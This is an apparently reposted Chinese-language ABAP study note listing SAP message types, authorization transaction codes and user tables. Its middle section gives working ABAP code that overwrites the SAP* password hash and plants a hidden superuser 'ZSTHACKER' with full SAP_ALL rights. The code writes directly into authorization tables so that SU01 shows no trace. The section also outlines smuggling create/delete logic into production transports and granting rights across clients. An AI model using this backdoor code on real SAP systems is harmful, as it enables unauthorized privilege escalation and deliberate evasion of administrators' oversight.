学习笔记一
一、第一個程序范例:【SE38】
REPORT? Y_TEST.
WRITE 'HELLO 小貓咪,歡迎學習ABAP程式,加油哦^_^ '.
?
二、定義消息:【SE91】
SAP程序消息類型:
I——信息窗口,W——警告,E——錯誤,S——成功,A——終止程序或TCODE,X——未知。
?
REPORT? Y_TEST MESSAGE-ID ZMM01.
??????????????????????? MESSAGE I002.
?
REPORT? Y_TEST.
MESSAGE I002(ZMM01) WITH 'Var1' .
或者寫成:MESSAGE ID 'ZMM01' TYPE 'I' NUMBER '002' WITH 'Var1'.
MESSAGE W002(ZMM01) WITH 'Var1' .
MESSAGE E002(ZMM01) WITH 'Var1' .
MESSAGE S002(ZMM01) WITH 'Var1' .
MESSAGE A002(ZMM01) WITH 'Var1' .
MESSAGE X002(ZMM01) WITH 'Var1' .
?
PROGRAM ZMMR005.
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
??? I_ARBGB = 'ZMMR005'
??? I_DTYPE = ''
??? I_MSGNR = '002'
IMPORTING
??? E_MSGTY = SY-MSGTY.
?
三、消息最常用的table
T100: SAP能用到的消息都應該在此表中找到.
T160M :MM模塊相關消息表,此表可完全直接維護.就是說只要記住它,MM的消息配置直接使用SE16就可以.
T100C: FI模塊中用戶自定義的消息,比如使用OBA5, OFMG等自定義的消息會寫入此表,CO配置消息不在此表.
T100S: 此表保存著允許用戶更改的應用區域和消息號,舉例假設你刪除了KI 005則在OBA5中再不能配置此消息.(對MM模塊有些例外,M7不在此表,使用OMCQ依舊可設置,M3不在此表,OMT4依舊可設置)此表也可直接維護.和T160M不同的是,你必須在SE16輸入T100S按新建按鈕才可維護.查詢時只可Display.
T100U: 哪個用戶最后更改了消息,從此表能找到.
T100W: For Workflow
?
常用權限相關Tcode .
(一)Role(角色)相關T-code:
PFAC 標準
PFAC_CHG 改變
PFAC_DEL 刪除
PFAC_DIS 顯示
PFAC_INS 新建
PFAC_STR
PFCG 創建
ROLE_CMP 比較
SUPC 批量建立角色profile
SWUJ 測試
SU03 檢測授權
SU25, SU26 檢查Profile
(二)建立用戶
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10 批量
SU12 批量
SUCOMP:維護用戶公司地址
SU2 change用戶參數
SUIM 用戶信息系統,可by 多個查詢.
(三)建立用戶組
SUGR:維護
SUGRD:顯示
SUGRD_NAV:還是維護
SUGR_NAV:還是顯示
(四)維護檢查授權
SU20|SU21:如有特殊需要定義自己的authorization fields
SU50|SU51|SU52
SU53:當有權限問題可使用它檢測
SU56:分析authoraztion data buffers. SU87:用來檢查用戶改變產生的history SU96,SU97,SU98,SU99:
常用權限相關表格:
TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
USR12: 用戶級authoraztion值
USR02:密碼table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:當前用戶(SM04看到的所有當前活動用戶)
USRBF2:記錄當前用戶所有的授權objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations
?
?
修改某權限大的用戶密碼.下面是直接修改SAP*的密碼為123.就一句話足矣.
report ZMODPWD.
tables :usr02 .
*Data ZUSR02 like USR02 .
*select single * into zUSR02 from USR02
*where BNAME = 'SAP*'.
*ZUSR02-BNAME = 'SAP*'.
*ZUSR02-Bcode = '9C8AB8600E74D864' .
*ZUSR02-UFLAG = '0' ."unlock SAP*
*Update USR02 from ZUSR02 .
update usr02 set bcode = 'DF52478E6FF90EEB'
where BNAME = 'SAP*'.
?
上面的方法不妥的是如修改了SAP*密碼,basis很快就會知道,為什么不嘗試建立一個臨時用戶呢?下面介紹一個如何通過程序隨意建立用戶并賦予所有權限的例子,此例的特點在于直接在用戶授權對象表USRBF2中加入授權對象,使用SU01看不到任何跡象,隱蔽性較強.
下面是建立用戶ZSTHACKER(初始密碼123qaz)并賦予SAP*用戶的所有權限.
?
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
?
Loop at ZUSRBF2.
? ZUSRBF2-BNAME = 'ZSTHACKER' .
? Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
?
如果SAP*被修改,直接從Tobj將所有的授權對象賦給ZSTHACKER就可.
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
? zusrbf2-mandt = sy-mandt.
? zusrbf2-bname = 'ZSTHACKER'.
? zusrbf2-objct = ztobj-objct.
? zusrbf2-auth ='&_SAP_ALL'.
? modify USRBF2 FROM zusrbf2 .
endloop .
?
現在還有一點就是basis能檢測到多出的神秘ZSTHACKER用戶,有一種方法就是basis極難發現這個秘密.讀者可自行完成程序邏輯.思路如下:
[1]完善程序有建立和刪除用戶兩功能,并將程序插入將要傳送到PRD的實用Query(或report painter)等自動產生的程序(需要繞過Access Key).
[2]寫個簡單的邏輯如果query的某個條件滿足建立用戶賦予權限(象上面一樣插入數據到USR02和USRBF2中),如果另一條件滿足刪除相關數據(從usr02和usrbf2中將數據刪除)這樣basis就難于發現.
?
[3]能不能垮client端建立用戶和授權呢?
回答是肯定的,很簡單,只要在插入數據時指定client就可.假設在client 100有個用戶ZSTHACKER沒有任何授權,當前client是300,下面的例子將300中SAP*的所有授權對象賦予給client 100的用戶ZSTHACKER.(同理使用client specified可跨client 建立用戶).
?
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
? Zusrbf2-bname = 'ZSTHACKER' .
? Zusrbf2-mandt = '100'.
? Insert into usrbf2 client specified values zusrbf2.
Endselect .
?
ABAPer 常用Tcode
| Tcode | 描述 |
| CMOD(SMOD) | SAP增強 |
| OSS1 | 連接SAP OSS |
| S001 | ABAP開發工作臺菜單(含多Tcode) |
| SA38 | 運行程序(SE38開發) |
| SCAT | Computer Aided Test Tool |
| SE01 | 傳遞傳輸請求(同一服務器的不同client) |
| SE09 | 傳輸請求操作 |
| SE10 | 同SE09 |
| SE11 | 維護ABAP數據字典 |
| SE12 | 顯示數據字典 |
| SE13|SE14|SE15 | 數據字典相關 |
| SE16|SE17 | 查看表數據 |
| SE30 | ABAP運行分析 |
| SE32 | ABAP文本元素維護 |
| SE35 | ABAP/4對話框編程維護 |
| SE36 | 維護邏輯數據庫 |
| SE37 | 維護Function module |
| SE38 | ABAP 編輯器 |
| SE39 | 程序比較 |
| SE41 | 菜單制作器 |
| SE43 | 應用區菜單(相同功能tcode組成一area menu) |
| SE51 | 屏幕繪制器 |
| SE54 | 生成表的維護視圖,然后SE16|SM30可直接維護表數據 |
| SE61 | 文檔維護 |
| SE63 | 翻譯 |
| SE71->SE76 | SAPscript相關 Tcode |
| SE80 | ABAP庫 |
| SE81 | ABAP應用層次 |
| SE84|SE85|SE86 | ABAP/4 Repository Information System |
| SE91 | 建立消息類和消息 |
| SE92 | 維護系統Log消息 |
| SE93 | 給程序維護Tcode |
| SEU | Repository Object Browser |
| SHD0 | 維護Tcode運行變式(Variant) |
| SM04 | 查看當前用戶 |
| SM12 | 刪除顯示Locked objects(不可刪除被lock的傳輸請求) |
| SM21 | Dump log查看 |
| SM30|SM31 | 維護table|view數據 |
| SM32 | 維護表 |
| SM35 | 查看Batch input session(建立BDC使用SHDB) |
| SM36 | 定義后臺job |
| SM37 | 查看后臺job |
| SM50 | Process Overview |
| SM51 | Display system servers, processes, etc. |
| SM62 | Display/Maintain events in SAP |
| ST05 | SQL等跟蹤,使用它可跟蹤程序使用的表等. |
| SU53 | 檢查授權對象,如出現權限問題可使用 |
轉載于:https://www.cnblogs.com/xiaomaomi/archive/2013/02/01/2889654.html
總結
- 上一篇: ETL工具调度之中美PK
- 下一篇: HDOJ 3642 Get The Tr